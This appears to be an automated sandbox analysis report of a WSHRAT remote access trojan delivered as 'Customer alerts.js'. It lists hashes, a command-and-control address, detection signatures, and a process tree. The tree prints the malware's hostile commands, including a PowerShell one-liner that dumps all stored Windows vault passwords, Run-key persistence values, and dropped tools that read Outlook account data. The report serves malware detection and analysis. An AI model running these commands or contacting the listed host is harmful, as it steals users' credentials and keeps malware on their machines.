Analysis
- max time kernel
152s - max time network
152s - platform
windows10_x64 - resource
win10-en-20211014 - submitted
26/11/2021, 19:22
Static task
static1
Behavioral task
behavioral1
Sample
Customer alerts.js
Resource
win7-en-20211104
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Customer alerts.js
Resource
win10-en-20211014
0 signatures
0 seconds
General
- Target Customer alerts.js
- Size 1.0MB
- Sample211126-x29ksaecfr
- SHA256 2bad00a5d95151f8a72c537e066bb1d2f1f7c73dfadca31f0ec21da7935df1df
- MD5 d7635680fdef884b00183d6e6279c816
- SHA1 1b6632f660b8b68d62d7d7dc2437fc43d37d161d
- SHA512 f579b191981227b82ae42120fba28ffcd1c8867b7b9bf3d435c46796cd1d975db16faff824dfba277b86622c8d86b5747c4833b9d628506d8a4603fb23a3e7ee
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
wshrat
C2
-
http://1j1m3r3.kozow.com:50933
Signatures
- suricata: ET MALWARE WSHRAT CnC Checkin
suricata: ET MALWARE WSHRAT CnC Checkin
- suricata: ET MALWARE WSHRAT Credential Dump Module Download Command Inbound
suricata: ET MALWARE WSHRAT Credential Dump Module Download Command Inbound
- suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin 1
suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin 1
- Blocklisted process makes network request 23 IoCs
flow pid Process 9 3080 wscript.exe 11 3080 wscript.exe 12 3080 wscript.exe 13 3080 wscript.exe 14 3080 wscript.exe 16 3080 wscript.exe 31 3080 wscript.exe 33 3080 wscript.exe 34 3080 wscript.exe 35 3080 wscript.exe 36 3080 wscript.exe 37 3080 wscript.exe 38 3080 wscript.exe 39 3080 wscript.exe 40 3080 wscript.exe 41 3080 wscript.exe 42 3080 wscript.exe 43 3080 wscript.exe 44 3080 wscript.exe 45 3080 wscript.exe 46 3080 wscript.exe 47 3080 wscript.exe 48 3080 wscript.exe - Executes dropped EXE 4 IoCs
pid Process 3448 python.exe 1432 python.exe 3840 cmdc.exe 3976 cmdc.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Customer alerts.js wscript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Customer alerts.js wscript.exe - Loads dropped DLL 26 IoCs
pid Process 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 3448 python.exe 1432 python.exe 1432 python.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook accounts 1 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts cmdc.exe Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts cmdc.exe - Adds Run key to start application 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\software\microsoft\windows\currentversion\run wscript.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Customer alerts = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Customer alerts.js\"" wscript.exe Key created \REGISTRY\MACHINE\software\microsoft\windows\currentversion\run wscript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Customer alerts = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Customer alerts.js\"" wscript.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\software\microsoft\windows\currentversion\run wscript.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Customer alerts = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Customer alerts.js\"" wscript.exe Key created \REGISTRY\MACHINE\software\microsoft\windows\currentversion\run wscript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Customer alerts = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Customer alerts.js\"" wscript.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Kills process with taskkill 3 IoCs
pid Process 1244 taskkill.exe 2968 taskkill.exe 920 taskkill.exe - Script User-Agent 21 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 34 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 37 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 40 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 43 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 46 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 14 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 33 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 35 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 39 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 42 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 45 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 11 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 13 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 36 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 44 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 48 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 12 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 31 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 47 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 38 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands HTTP User-Agent header 41 WSHRAT|DA5D582B|JQKTJDNJ|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 29/11/2021|JavaScript-v3.4|NL:Netherlands - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1412 powershell.exe 1412 powershell.exe 1412 powershell.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 1412 powershell.exe Token: 35 3448 python.exe Token: 35 1432 python.exe Token: SeDebugPrivilege 2968 taskkill.exe Token: SeDebugPrivilege 920 taskkill.exe Token: SeDebugPrivilege 1244 taskkill.exe - Suspicious use of WriteProcessMemory 34 IoCs
description pid Process procid_target PID 2688 wrote to memory of 3080 2688 wscript.exe 68 PID 2688 wrote to memory of 3080 2688 wscript.exe 68 PID 3080 wrote to memory of 1412 3080 wscript.exe 74 PID 3080 wrote to memory of 1412 3080 wscript.exe 74 PID 3080 wrote to memory of 2840 3080 wscript.exe 78 PID 3080 wrote to memory of 2840 3080 wscript.exe 78 PID 2840 wrote to memory of 3448 2840 cmd.exe 80 PID 2840 wrote to memory of 3448 2840 cmd.exe 80 PID 2840 wrote to memory of 3448 2840 cmd.exe 80 PID 3080 wrote to memory of 3696 3080 wscript.exe 81 PID 3080 wrote to memory of 3696 3080 wscript.exe 81 PID 3696 wrote to memory of 1432 3696 cmd.exe 83 PID 3696 wrote to memory of 1432 3696 cmd.exe 83 PID 3696 wrote to memory of 1432 3696 cmd.exe 83 PID 3080 wrote to memory of 4052 3080 wscript.exe 84 PID 3080 wrote to memory of 4052 3080 wscript.exe 84 PID 4052 wrote to memory of 2968 4052 cmd.exe 86 PID 4052 wrote to memory of 2968 4052 cmd.exe 86 PID 3080 wrote to memory of 2828 3080 wscript.exe 87 PID 3080 wrote to memory of 2828 3080 wscript.exe 87 PID 2828 wrote to memory of 920 2828 cmd.exe 89 PID 2828 wrote to memory of 920 2828 cmd.exe 89 PID 3080 wrote to memory of 3840 3080 wscript.exe 90 PID 3080 wrote to memory of 3840 3080 wscript.exe 90 PID 3080 wrote to memory of 3840 3080 wscript.exe 90 PID 3080 wrote to memory of 1900 3080 wscript.exe 92 PID 3080 wrote to memory of 1900 3080 wscript.exe 92 PID 1900 wrote to memory of 1244 1900 cmd.exe 94 PID 1900 wrote to memory of 1244 1900 cmd.exe 94 PID 3080 wrote to memory of 3976 3080 wscript.exe 95 PID 3080 wrote to memory of 3976 3080 wscript.exe 95 PID 3080 wrote to memory of 3976 3080 wscript.exe 95 PID 3080 wrote to memory of 2264 3080 wscript.exe 96 PID 3080 wrote to memory of 2264 3080 wscript.exe 96
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Customer alerts.js"1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\Customer alerts.js"2⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3080 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1412
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"3⤵
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Users\Admin\AppData\Roaming\wshsdk\python.exeC:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3448
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"3⤵
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Users\Admin\AppData\Roaming\wshsdk\python.exeC:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1432
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe3⤵
- Suspicious use of WriteProcessMemory
PID:4052 -
C:\Windows\system32\taskkill.exetaskkill /F /IM cmdc.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2968
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe3⤵
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Windows\system32\taskkill.exetaskkill /F /IM cmdc.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:920
-
-
-
C:\Users\Admin\AppData\Roaming\cmdc.exe"C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
PID:3840
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe3⤵
- Suspicious use of WriteProcessMemory
PID:1900 -
C:\Windows\system32\taskkill.exetaskkill /F /IM cmdc.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1244
-
-
-
C:\Users\Admin\AppData\Roaming\cmdc.exe"C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
PID:3976
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c mkdir "C:\Users\Admin\AppData\Roaming\wshlogs"3⤵PID:2264
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding1⤵PID:3772